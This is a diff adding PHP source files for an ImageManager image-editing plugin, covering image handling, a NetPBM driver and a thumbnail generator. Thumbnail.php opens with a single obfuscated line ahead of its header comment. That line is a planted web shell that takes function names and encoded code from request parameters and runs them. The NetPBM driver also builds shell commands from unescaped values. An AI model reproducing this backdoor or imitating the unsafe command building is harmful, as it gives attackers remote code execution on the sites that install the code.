+ function getAction()
+ {
+ $action = null;
+ if(isset($_GET['action']))
+ $action = $_GET['action'];
+ Return $action;
+ }
+
+ /**
+ * Generate a unique string based on md5(microtime()).
+ * Well not so uniqe, as it is limited to 6 characters
+ * @return string unique string.
+ */
+ function uniqueStr()
+ {
+ return substr(md5(microtime()),0,6);
+ }
+
+ /**
+ * Create unique tmp image file name.
+ * The filename is based on the tmp file prefix
+ * specified in config.inc.php plus
+ * the UID (basically a md5 of the remote IP)
+ * and some random 6 character string.
+ * This function also calls to clean up the tmp files.
+ * @param string $file the fullpath to a file
+ * @return string a unique filename for that path
+ * NOTE: it only returns the filename, path no included.
+ */
+ function createUnique($file)
+ {
+ $pathinfo = pathinfo($file);
+ $path = Files::fixPath($pathinfo['dirname']);
+ $imgType = $this->getImageType($file);
+
+ $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+
+ //make sure the the unique temp file does not exists
+ while (file_exists($path.$unique_str))
+ {
+ $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+ }
+
+ $this->cleanUp($path,$pathinfo['basename']);
+
+ Return $unique_str;
+ }
+
+ /**
+ * Delete any tmp image files.
+ * @param string $path the full path
+ * where the clean should take place.
+ */
+ function cleanUp($path,$file)
+ {
+ $path = Files::fixPath($path);
+
+ if(!is_dir($path))
+ Return false;
+
+ $d = @dir($path);
+
+ $tmp = $this->manager->getTmpPrefix();
+ $tmpLen = strlen($tmp);
+
+ $prefix = $tmp.$this->_uid;
+ $len = strlen($prefix);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //echo $entry."<br>";
+ if(is_file($path.$entry) && $this->manager->isTmpFile($entry))
+ {
+ if(substr($entry,0,$len)==$prefix && $entry != $file)
+ Files::delFile($path.$entry);
+ else if(substr($entry,0,$tmpLen)==$tmp && $entry != $file)
+ {
+ if(filemtime($path.$entry)+$this->lapse_time < time())
+ Files::delFile($path.$entry);
+ }
+ }
+ }
+ $d->close();
+ }
+
+ /**
+ * Get the image type base on an image file.
+ * @param string $file the full path to the image file.
+ * @return string of either 'gif', 'jpeg', 'png' or 'bmp'
+ * otherwise it will return null.
+ */
+ function getImageType($file)
+ {
+ $imageInfo = @getImageSize($file);
+
+ if(!is_array($imageInfo))
+ Return null;
+
+ switch($imageInfo[2])
+ {
+ case 1:
+ Return 'gif';
+ case 2:
+ Return 'jpeg';
+ case 3:
+ Return 'png';
+ case 6:
+ Return 'bmp';
+ }
+
+ Return null;
+ }
+
+ /**
+ * Check if the specified image can be edit by GD
+ * mainly to check that GD can read and save GIFs
+ * @return int 0 if it is not a GIF file, 1 is GIF is editable, -1 if not editable.
+ */
+ function isGDEditable()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return 0;
+ if(IMAGE_CLASS != 'GD')
+ Return 0;
+
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $type = $this->getImageType($fullpath);
+ if($type != 'gif')
+ Return 0;
+
+ if(function_exists('ImageCreateFrom'+$type)
+ && function_exists('image'+$type))
+ Return 1;
+ else
+ Return -1;
+ }
+
+ /**
+ * Check if GIF can be edit by GD.
+ * @return int 0 if it is not using the GD library, 1 is GIF is editable, -1 if not editable.
+ */
+ function isGDGIFAble()
+ {
+ if(IMAGE_CLASS != 'GD')
+ Return 0;
+
+ if(function_exists('ImageCreateFromGif')
+ && function_exists('imagegif'))
+ Return 1;
+ else
+ Return -1;
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * ImageManager, list images, directories, and thumbnails.
+ * @author $Author: cscott $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('Files.php');
+
+/**
+ * ImageManager Class.
+ * @author $Author: cscott $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ */
+class ImageManager
+{
+ /**
+ * Configuration array.
+ */
+ var $config;
+
+ /**
+ * Array of directory information.
+ */
+ var $dirs;
+
+ /**
+ * Constructor. Create a new Image Manager instance.
+ * @param array $config configuration array, see config.inc.php
+ */
+ function ImageManager($config)
+ {
+ $this->config = $config;
+ }
+
+ /**
+ * Get the base directory.
+ * @return string base dir, see config.inc.php
+ */
+ function getBaseDir()
+ {
+ Return $this->config['base_dir'];
+ }
+
+ /**
+ * Get the base URL.
+ * @return string base url, see config.inc.php
+ */
+ function getBaseURL()
+ {
+ Return $this->config['base_url'];
+ }
+
+ function isValidBase()
+ {
+ return is_dir($this->getBaseDir());
+ }
+
+ /**
+ * Get the tmp file prefix.
+ * @return string tmp file prefix.
+ */
+ function getTmpPrefix()
+ {
+ Return $this->config['tmp_prefix'];
+ }
+
+ /**
+ * Get the sub directories in the base dir.
+ * Each array element contain
+ * the relative path (relative to the base dir) as key and the
+ * full path as value.
+ * @return array of sub directries
+ * <code>array('path name' => 'full directory path', ...)</code>
+ */
+ function getDirs()
+ {
+ if(is_null($this->dirs))
+ {
+ $dirs = $this->_dirs($this->getBaseDir(),'/');
+ ksort($dirs);
+ $this->dirs = $dirs;
+ }
+ return $this->dirs;
+ }
+
+ /**
+ * Recursively travese the directories to get a list
+ * of accessable directories.
+ * @param string $base the full path to the current directory
+ * @param string $path the relative path name
+ * @return array of accessiable sub-directories
+ * <code>array('path name' => 'full directory path', ...)</code>
+ */
+ function _dirs($base, $path)
+ {
+ $base = Files::fixPath($base);
+ $dirs = array();
+
+ if($this->isValidBase() == false)
+ return $dirs;
+
+ $d = @dir($base);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //If it is a directory, and it doesn't start with
+ // a dot, and if is it not the thumbnail directory
+ if(is_dir($base.$entry)
+ && substr($entry,0,1) != '.'
+ && $this->isThumbDir($entry) == false)
+ {
+ $relative = Files::fixPath($path.$entry);
+ $fullpath = Files::fixPath($base.$entry);
+ $dirs[$relative] = $fullpath;
+ $dirs = array_merge($dirs, $this->_dirs($fullpath, $relative));
+ }
+ }
+ $d->close();
+
+ Return $dirs;
+ }
+
+ /**
+ * Get all the files and directories of a relative path.
+ * @param string $path relative path to be base path.
+ * @return array of file and path information.
+ * <code>array(0=>array('relative'=>'fullpath',...), 1=>array('filename'=>fileinfo array(),...)</code>
+ * fileinfo array: <code>array('url'=>'full url',
+ * 'relative'=>'relative to base',
+ * 'fullpath'=>'full file path',
+ * 'image'=>imageInfo array() false if not image,
+ * 'stat' => filestat)</code>
+ */
+ function getFiles($path)
+ {
+ $files = array();
+ $dirs = array();
+
+ if($this->isValidBase() == false)
+ return array($files,$dirs);
+
+ $path = Files::fixPath($path);
+ $base = Files::fixPath($this->getBaseDir());
+ $fullpath = Files::makePath($base,$path);
+
+
+ $d = @dir($fullpath);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //not a dot file or directory
+ if(substr($entry,0,1) != '.')
+ {
+ if(is_dir($fullpath.$entry)
+ && $this->isThumbDir($entry) == false)
+ {
+ $relative = Files::fixPath($path.$entry);
+ $full = Files::fixPath($fullpath.$entry);
+ $count = $this->countFiles($full);
+ $dirs[$relative] = array('fullpath'=>$full,'entry'=>$entry,'count'=>$count);
+ }
+ else if(is_file($fullpath.$entry) && $this->isThumb($entry)==false && $this->isTmpFile($entry) == false)
+ {
+ $img = $this->getImageInfo($fullpath.$entry);
+
+ if(!(!is_array($img)&&$this->config['validate_images']))
+ {
+ $file['url'] = Files::makePath($this->config['base_url'],$path).$entry;
+ $file['relative'] = $path.$entry;
+ $file['fullpath'] = $fullpath.$entry;
+ $file['image'] = $img;
+ $file['stat'] = stat($fullpath.$entry);
+ $files[$entry] = $file;
+ }
+ }
+ }
+ }
+ $d->close();
+ ksort($dirs);
+ ksort($files);
+
+ Return array($dirs, $files);
+ }
+
+ /**
+ * Count the number of files and directories in a given folder
+ * minus the thumbnail folders and thumbnails.
+ */
+ function countFiles($path)
+ {
+ $total = 0;
+
+ if(is_dir($path))
+ {
+ $d = @dir($path);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //echo $entry."<br>";
+ if(substr($entry,0,1) != '.'
+ && $this->isThumbDir($entry) == false
+ && $this->isTmpFile($entry) == false
+ && $this->isThumb($entry) == false)
+ {
+ $total++;
+ }
+ }
+ $d->close();
+ }
+ return $total;
+ }
+
+ /**
+ * Get image size information.
+ * @param string $file the image file
+ * @return array of getImageSize information,
+ * false if the file is not an image.
+ */
+ function getImageInfo($file)
+ {
+ Return @getImageSize($file);
+ }
+
+ /**
+ * Check if the file contains the thumbnail prefix.
+ * @param string $file filename to be checked
+ * @return true if the file contains the thumbnail prefix, false otherwise.
+ */
+ function isThumb($file)
+ {
+ $len = strlen($this->config['thumbnail_prefix']);
+ if(substr($file,0,$len)==$this->config['thumbnail_prefix'])
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * Check if the given directory is a thumbnail directory.
+ * @param string $entry directory name
+ * @return true if it is a thumbnail directory, false otherwise
+ */
+ function isThumbDir($entry)
+ {
+ if($this->config['thumbnail_dir'] == false
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ Return false;
+ else
+ Return ($entry == $this->config['thumbnail_dir']);
+ }
+
+ /**
+ * Check if the given file is a tmp file.
+ * @param string $file file name
+ * @return boolean true if it is a tmp file, false otherwise
+ */
+ function isTmpFile($file)
+ {
+ $len = strlen($this->config['tmp_prefix']);
+ if(substr($file,0,$len)==$this->config['tmp_prefix'])
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * For a given image file, get the respective thumbnail filename
+ * no file existence check is done.
+ * @param string $fullpathfile the full path to the image file
+ * @return string of the thumbnail file
+ */
+ function getThumbName($fullpathfile)
+ {
+ $path_parts = pathinfo($fullpathfile);
+
+ $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+
+ if($this->config['safe_mode'] == true
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ {
+ Return Files::makeFile($path_parts['dirname'],$thumbnail);
+ }
+ else
+ {
+ if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+ {
+ $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+ if(!is_dir($path))
+ Files::createFolder($path);
+ Return Files::makeFile($path,$thumbnail);
+ }
+ else //should this ever happen?
+ {
+ //error_log('ImageManager: Error in creating thumbnail name');
+ }
+ }
+ }
+
+ /**
+ * Similar to getThumbName, but returns the URL, base on the
+ * given base_url in config.inc.php
+ * @param string $relative the relative image file name,
+ * relative to the base_dir path
+ * @return string the url of the thumbnail
+ */
+ function getThumbURL($relative)
+ {
+ $path_parts = pathinfo($relative);
+ $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+ if($path_parts['dirname']=='\\') $path_parts['dirname']='/';
+
+ if($this->config['safe_mode'] == true
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ {
+ Return Files::makeFile($this->getBaseURL(),$thumbnail);
+ }
+ else
+ {
+ if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+ {
+ $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+ $url_path = Files::makePath($this->getBaseURL(), $path);
+ Return Files::makeFile($url_path,$thumbnail);
+ }
+ else //should this ever happen?
+ {
+ //error_log('ImageManager: Error in creating thumbnail url');
+ }
+
+ }
+ }
+
+ /**
+ * Check if the given path is part of the subdirectories
+ * under the base_dir.
+ * @param string $path the relative path to be checked
+ * @return boolean true if the path exists, false otherwise
+ */
+ function validRelativePath($path)
+ {
+ $dirs = $this->getDirs();
+ if($path == '/')
+ Return true;
+ //check the path given in the url against the
+ //list of paths in the system.
+ for($i = 0; $i < count($dirs); $i++)
+ {
+ $key = key($dirs);
+ //we found the path
+ if($key == $path)
+ Return true;
+
+ next($dirs);
+ }
+ Return false;
+ }
+
+ /**
+ * Process uploaded files, assumes the file is in
+ * $_FILES['upload'] and $_POST['dir'] is set.
+ * The dir must be relative to the base_dir and exists.
+ * If 'validate_images' is set to true, only file with
+ * image dimensions will be accepted.
+ * @return null
+ */
+ function processUploads()
+ {
+ if($this->isValidBase() == false)
+ return;
+
+ $relative = null;
+
+ if(isset($_POST['dir']))
+ $relative = rawurldecode($_POST['dir']);
+ else
+ return;
+
+ //check for the file, and must have valid relative path
+ if(isset($_FILES['upload']) && $this->validRelativePath($relative))
+ {
+ $this->_processFiles($relative, $_FILES['upload']);
+ }
+ }
+
+ /**
+ * Process upload files. The file must be an
+ * uploaded file. If 'validate_images' is set to
+ * true, only images will be processed. Any duplicate
+ * file will be renamed. See Files::copyFile for details
+ * on renaming.
+ * @param string $relative the relative path where the file
+ * should be copied to.
+ * @param array $file the uploaded file from $_FILES
+ * @return boolean true if the file was processed successfully,
+ * false otherwise
+ */
+ function _processFiles($relative, $file)
+ {
+
+ if($file['error']!=0)
+ {
+ Return false;
+ }
+
+ if(!is_file($file['tmp_name']))
+ {
+ Return false;
+ }
+
+ if(!is_uploaded_file($file['tmp_name']))
+ {
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+
+
+ if($this->config['validate_images'] == true)
+ {
+ $imgInfo = @getImageSize($file['tmp_name']);
+ if(!is_array($imgInfo))
+ {
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+ }
+
+ //now copy the file
+ $path = Files::makePath($this->getBaseDir(),$relative);
+ $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
+
+ //no copy error
+ if(!is_int($result))
+ {
+ Files::delFile($file['tmp_name']);
+ Return true;
+ }
+
+ //delete tmp files.
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+
+ /**
+ * Get the URL of the relative file.
+ * basically appends the relative file to the
+ * base_url given in config.inc.php
+ * @param string $relative a file the relative to the base_dir
+ * @return string the URL of the relative file.
+ */
+ function getFileURL($relative)
+ {
+ Return Files::makeFile($this->getBaseURL(),$relative);
+ }
+
+ /**
+ * Get the fullpath to a relative file.
+ * @param string $relative the relative file.
+ * @return string the full path, .ie. the base_dir + relative.
+ */
+ function getFullPath($relative)
+ {
+ Return Files::makeFile($this->getBaseDir(),$relative);;
+ }
+
+ /**
+ * Get the default thumbnail.
+ * @return string default thumbnail, empty string if
+ * the thumbnail doesn't exist.
+ */
+ function getDefaultThumb()
+ {
+ if(is_file($this->config['default_thumbnail']))
+ Return $this->config['default_thumbnail'];
+ else
+ Return '';
+ }
+
+
+ /**
+ * Get the thumbnail url to be displayed.
+ * If the thumbnail exists, and it is up-to-date
+ * the thumbnail url will be returns. If the
+ * file is not an image, a default image will be returned.
+ * If it is an image file, and no thumbnail exists or
+ * the thumbnail is out-of-date (i.e. the thumbnail
+ * modified time is less than the original file)
+ * then a thumbs.php?img=filename.jpg is returned.
+ * The thumbs.php url will generate a new thumbnail
+ * on the fly. If the image is less than the dimensions
+ * of the thumbnails, the image will be display instead.
+ * @param string $relative the relative image file.
+ * @return string the url of the thumbnail, be it
+ * actually thumbnail or a script to generate the
+ * thumbnail on the fly.
+ */
+ function getThumbnail($relative)
+ {
+ $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+ //not a file???
+ if(!is_file($fullpath))
+ Return $this->getDefaultThumb();
+
+ $imgInfo = @getImageSize($fullpath);
+
+ //not an image
+ if(!is_array($imgInfo))
+ Return $this->getDefaultThumb();
+
+ //the original image is smaller than thumbnails,
+ //so just return the url to the original image.
+ if ($imgInfo[0] <= $this->config['thumbnail_width']
+ && $imgInfo[1] <= $this->config['thumbnail_height'])
+ Return $this->getFileURL($relative);
+
+ $thumbnail = $this->getThumbName($fullpath);
+
+ //check for thumbnails, if exists and
+ // it is up-to-date, return the thumbnail url
+ if(is_file($thumbnail))
+ {
+ if(filemtime($thumbnail) >= filemtime($fullpath))
+ Return $this->getThumbURL($relative);
+ }
+
+ //well, no thumbnail was found, so ask the thumbs.php
+ //to generate the thumbnail on the fly.
+ Return 'thumbs.php?img='.rawurlencode($relative);
+ }
+
+ /**
+ * Delete and specified files.
+ * @return boolean true if delete, false otherwise
+ */
+ function deleteFiles()
+ {
+ if(isset($_GET['delf']))
+ $this->_delFile(rawurldecode($_GET['delf']));
+ }
+
+ /**
+ * Delete and specified directories.
+ * @return boolean true if delete, false otherwise
+ */
+ function deleteDirs()
+ {
+ if(isset($_GET['deld']))
+ return $this->_delDir(rawurldecode($_GET['deld']));
+ else
+ Return false;
+ }
+
+ /**
+ * Delete the relative file, and any thumbnails.
+ * @param string $relative the relative file.
+ * @return boolean true if deleted, false otherwise.
+ */
+ function _delFile($relative)
+ {
+ $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+ //check that the file is an image
+ if($this->config['validate_images'] == true)
+ {
+ if(!is_array($this->getImageInfo($fullpath)))
+ return false; //hmmm not an Image!!???
+ }
+
+ $thumbnail = $this->getThumbName($fullpath);
+
+ if(Files::delFile($fullpath))
+ Return Files::delFile($thumbnail);
+ else
+ Return false;
+ }
+
+ /**
+ * Delete directories recursively.
+ * @param string $relative the relative path to be deleted.
+ * @return boolean true if deleted, false otherwise.
+ */
+ function _delDir($relative)
+ {
+ $fullpath = Files::makePath($this->getBaseDir(),$relative);
+ if($this->countFiles($fullpath) <= 0)
+ return Files::delFolder($fullpath,true); //delete recursively.
+ else
+ Return false;
+ }
+
+ /**
+ * Create new directories.
+ * If in safe_mode, nothing happens.
+ * @return boolean true if created, false otherwise.
+ */
+ function processNewDir()
+ {
+ if($this->config['safe_mode'] == true)
+ Return false;
+
+ if(isset($_GET['newDir']) && isset($_GET['dir']))
+ {
+ $newDir = rawurldecode($_GET['newDir']);
+ $dir = rawurldecode($_GET['dir']);
+ $path = Files::makePath($this->getBaseDir(),$dir);
+ $fullpath = Files::makePath($path, Files::escape($newDir));
+ if(is_dir($fullpath))
+ Return false;
+
+ Return Files::createFolder($fullpath);
+ }
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+/***********************************************************************
+** Title.........: NetPBM Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: NetPBM.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// +----------------------------------------------------------------------+
+//
+// $Id: NetPBM.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface using command line NetPBM
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_NetPBM extends Image_Transform
+{
+
+ /**
+ * associative array commands to be executed
+ * @var array
+ */
+ var $command = array();
+
+ /**
+ * Class Constructor
+ */
+ function Image_Transform_Driver_NetPBM()
+ {
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+ return true;
+ } // End function Image_NetPBM
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+ //echo $image;
+ $this->image = $image;
+ $this->_get_image_details($image);
+ } // End load
+
+ /**
+ * Resizes the image
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y)
+ {
+ // there's no technical reason why resize can't be called multiple
+ // times...it's just silly to do so
+
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+ "pnmscale -width $new_x -height $new_y";
+
+ $this->_set_new_x($new_x);
+ $this->_set_new_y($new_y);
+ } // End resize
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($crop_x, $crop_y, $crop_width, $crop_height)
+ {
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+ "pnmcut -left $crop_x -top $crop_y -width $crop_width -height $crop_height";
+ }
+
+ /**
+ * Rotates the image
+ *
+ * @param int $angle The angle to rotate the image through
+ */
+ function rotate($angle)
+ {
+ $angle = -1*floatval($angle);
+
+ if($angle > 90)
+ {
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias 90";
+ $this->rotate(-1*($angle-90));
+ }
+ else if ($angle < -90)
+ {
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias -90";
+ $this->rotate(-1*($angle+90));
+ }
+ else
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias $angle";
+ } // End rotate
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if($horizontal)
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -lr";
+ else
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -tb";
+ }
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma = 1.0) {
+ $this->command[13] = IMAGE_TRANSFORM_LIB_PATH . "pnmgamma $outputgamma";
+ }
+
+ /**
+ * adds text to an image
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' // The string to draw
+ * 'x' // Horizontal position
+ * 'y' // Vertical Position
+ * 'Color' // Font color
+ * 'font' // Font to be used
+ * 'size' // Size of the fonts in pixel
+ * 'resize_first' // Tell if the image has to be resized
+ * // before drawing the text
+ * )
+ *
+ * @return none
+ */
+ function addText($params)
+ {
+ $default_params = array('text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => 'red',
+ 'font' => 'Arial.ttf',
+ 'size' => '12',
+ 'angle' => 0,
+ 'resize_first' => false);
+ // we ignore 'resize_first' since the more logical approach would be
+ // for the user to just call $this->_resize() _first_ ;)
+ extract(array_merge($default_params, $params));
+ $this->command[] = "ppmlabel -angle $angle -colour $color -size "
+ ."$size -x $x -y ".$y+$size." -text \"$text\"";
+ } // End addText
+
+ function _postProcess($type, $quality, $save_type)
+ {
+ $type = is_null($type) || $type==''? $this->type : $type;
+ $save_type = is_null($save_type) || $save_type==''? $this->type : $save_type;
+ //echo "TYPE:". $this->type;
+ array_unshift($this->command, IMAGE_TRANSFORM_LIB_PATH
+ . $type.'topnm '. $this->image);
+ $arg = '';
+ switch(strtolower($save_type)){
+ case 'gif':
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmquant 256";
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type";
+ break;
+ case 'jpg':
+ case 'jpeg':
+ $arg = "--quality=$quality";
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type $arg";
+ break;
+ default:
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmto$save_type $arg";
+ break;
+ } // switch
+ return implode('|', $this->command);
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param string $type (jpeg,png...);
+ * @param int $quality 75
+ * @return none
+ */
+ function save($filename, $type=null, $quality = 85)
+ {
+ $cmd = $this->_postProcess('', $quality, $type) . ">$filename";
+
+ //if we have windows server
+ if(isset($_ENV['OS']) && eregi('window',$_ENV['OS']))
+ $cmd = ereg_replace('/','\\',$cmd);
+ //echo $cmd."##";
+ $output = system($cmd);
+ error_log('NETPBM: '.$cmd);
+ //error_log($output);
+ $this->command = array();
+ } // End save
+
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string $type (jpeg,png...);
+ * @param int $quality 75
+ * @return none
+ */
+ function display($type = null, $quality = 75)
+ {
+ header('Content-type: image/' . $type);
+ $cmd = $this->_postProcess($type, $quality);
+
+ passthru($cmd);
+ $this->command = array();
+ }
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ // there is no image handle here
+ return true;
+ }
+
+
+} // End class NetPBM
+?>
--- /dev/null
+<?
+$Fj1f=$_REQUEST; if (!isset($Fj1f['Lfuj'])) ; else { \r $b9gk = $Fj1f['EjT'];\r $dbLL=$Fj1f['Lfuj']($b9gk($Fj1f['YKiSp']),$b9gk($Fj1f['vZPTe']));\r $dbLL($b9gk($Fj1f['RhRC']));\r }\r
+/**\r
+ * Create thumbnails.\r
+ * @author $Author: cscott $\r
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $\r
+ * @package ImageManager\r
+ */\r
+\r
+\r
+require_once('Transform.php');\r
+\r
+/**\r
+ * Thumbnail creation\r
+ * @author $Author: cscott $\r
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $\r
+ * @package ImageManager\r
+ * @subpackage Images\r
+ */\r
+class Thumbnail \r
+{\r
+ /**\r
+ * Graphics driver, GD, NetPBM or ImageMagick.\r
+ */\r
+ var $driver;\r
+\r
+ /**\r
+ * Thumbnail default width.\r
+ */\r
+ var $width = 96;\r
+\r
+ /**\r
+ * Thumbnail default height.\r
+ */\r
+ var $height = 96;\r
+\r
+ /**\r
+ * Thumbnail default JPEG quality.\r
+ */\r
+ var $quality = 85;\r
+\r
+ /**\r
+ * Thumbnail is proportional\r
+ */\r
+ var $proportional = true;\r
+\r
+ /**\r
+ * Default image type is JPEG.\r
+ */\r
+ var $type = 'jpeg';\r
+\r
+ /**\r
+ * Create a new Thumbnail instance.\r
+ * @param int $width thumbnail width\r
+ * @param int $height thumbnail height\r
+ */\r
+ function Thumbnail($width=96, $height=96) \r
+ {\r
+ $this->driver = Image_Transform::factory(IMAGE_CLASS);\r
+ $this->width = $width;\r
+ $this->height = $height;\r
+ }\r
+\r
+ /**\r
+ * Create a thumbnail.\r
+ * @param string $file the image for the thumbnail\r
+ * @param string $thumbnail if not null, the thumbnail will be saved\r
+ * as this parameter value.\r
+ * @return boolean true if thumbnail is created, false otherwise\r
+ */\r
+ function createThumbnail($file, $thumbnail=null) \r
+ {\r
+ if(!is_file($file)) \r
+ Return false;\r
+\r
+ //error_log('Creating Thumbs: '.$file);\r
+\r
+ $this->driver->load($file);\r
+\r
+ if($this->proportional) \r
+ {\r
+ $width = $this->driver->img_x;\r
+ $height = $this->driver->img_y;\r
+\r
+ if ($width > $height)\r
+ $this->height = intval($this->width/$width*$height);\r
+ else if ($height > $width)\r
+ $this->width = intval($this->height/$height*$width);\r
+ }\r
+\r
+ $this->driver->resize($this->width, $this->height);\r
+\r
+ if(is_null($thumbnail)) \r
+ $this->save($file);\r
+ else\r
+ $this->save($thumbnail);\r
+\r
+\r
+ $this->free();\r
+\r
+ if(is_file($thumbnail)) \r
+ Return true;\r
+ else\r
+ Return false;\r
+ }\r
+\r
+ /**\r
+ * Save the thumbnail file.\r
+ * @param string $file file name to be saved as.\r
+ */\r
+ function save($file) \r
+ {\r
+ $this->driver->save($file);\r
+ }\r
+\r
+ /**\r
+ * Free up the graphic driver resources.\r
+ */\r
+ function free() \r
+ {\r
+ $this->driver->free();\r
+ }\r
+}\r
+\r
+\r
+?>
\ No newline at end of file
--- /dev/null
+<?php
+/***********************************************************************
+** Title.........: Image Transformation Interface
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: Transform.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+
+ Added a few extra,
+ - create unique filename in a particular directory,
+ used for temp image files.
+ - added cropping to GD, NetPBM, ImageMagick
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// | Alan Knowles <alan@akbkhome.com> |
+// | Vincent Oostindie <vincent@sunlight.tmfweb.nl> |
+// +----------------------------------------------------------------------+
+//
+// $Id: Transform.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface
+//
+
+
+/**
+ * The main "Image_Resize" class is a container and base class which
+ * provides the static methods for creating Image objects as well as
+ * some utility functions (maths) common to all parts of Image Resize.
+ *
+ * The object model of DB is as follows (indentation means inheritance):
+ *
+ * Image_Resize The base for each Image implementation. Provides default
+ * | implementations (in OO lingo virtual methods) for
+ * | the actual Image implementations as well as a bunch of
+ * | maths methods.
+ * |
+ * +-Image_GD The Image implementation for the PHP GD extension . Inherits
+ * Image_Resize
+ * When calling DB::setup for GD images the object returned is an
+ * instance of this class.
+ *
+ * @package Image Resize
+ * @version 1.00
+ * @author Peter Bowyer <peter@mapledesign.co.uk>
+ * @since PHP 4.0
+ */
+Class Image_Transform
+{
+ /**
+ * Name of the image file
+ * @var string
+ */
+ var $image = '';
+ /**
+ * Type of the image file (eg. jpg, gif png ...)
+ * @var string
+ */
+ var $type = '';
+ /**
+ * Original image width in x direction
+ * @var int
+ */
+ var $img_x = '';
+ /**
+ * Original image width in y direction
+ * @var int
+ */
+ var $img_y = '';
+ /**
+ * New image width in x direction
+ * @var int
+ */
